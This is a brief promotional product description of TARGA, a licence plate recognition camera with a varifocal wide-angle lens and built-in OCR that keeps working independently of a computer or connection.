TARGA is fully accurate in reading number plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes this camera suitable for all installation conditions. Its built-in OCR software works as an automatic and independent system without the need of a computer, thus giving autonomy to the device even in the event of an interruption in the connection between the camera and the operations centre.
